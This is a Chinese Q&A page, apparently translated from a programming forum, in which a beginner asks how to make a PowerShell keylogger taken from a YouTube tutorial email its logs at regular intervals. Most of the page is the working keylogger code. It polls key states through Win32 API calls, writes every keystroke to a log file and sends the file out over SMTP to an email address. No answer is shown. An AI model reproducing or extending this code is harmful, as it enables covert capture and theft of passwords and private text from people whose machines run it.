首页 > 解决方案 > Powershell 脚本;键盘记录器,需要帮助!任何有PS知识的人

问题描述

我正在修改通过 youtube 教程 (Cosmodium CS) 找到的键盘记录器 powershell 脚本,但我希望将日志定期发送到电子邮件地址,而不仅仅是在机器重启或手动执行 c.cmd 文件时发送一次. 因为这就是它目前的工作方式。有没有办法安排它,某种简单的 while 语句将 $smtp.send 间隔发送,或者仅当(log.file)达到一定大小或计时器。我是powershell的菜鸟,所以想学习:)

这是当前代码的片段

    # set up API
 $API = Add-Type -MemberDefinition $APIsignatures -Name 'Win32' -Namespace API -PassThru

  # attempt to log keystrokes
  try {

    # loops keystroke detection
    while ($true) {
      Start-Sleep -Milliseconds 40

      for ($ascii = 9; $ascii -le 254; $ascii++) {

        # use API to get key state
        $keystate = $API::GetAsyncKeyState($ascii)

        # use API to detect keystroke
        if ($keystate -eq -32767) {
          $null = [console]::CapsLock

          # map virtual key
          $mapKey = $API::MapVirtualKey($ascii, 3)

          # create a stringbuilder
          $keyboardState = New-Object Byte[] 256
          $hideKeyboardState = $API::GetKeyboardState($keyboardState)
          $loggedchar = New-Object -TypeName System.Text.StringBuilder

          # translate virtual key
          if ($API::ToUnicode($ascii, $mapKey, $keyboardState, $loggedchar, $loggedchar.Capacity, 0)) {
            # add logged key to file
            [System.IO.File]::AppendAllText($logFile, $loggedchar, [System.Text.Encoding]::Unicode)
          }
        }
      }
    }
  }

  # send logs if code fails
  finally {
    # send email
    $smtp.Send($email, $email, $subject, $logs);
  }
}

# run keylogger
KeyLogger

任何帮助都会很棒!

标签: powershellkeylogger

解决方案


推荐阅读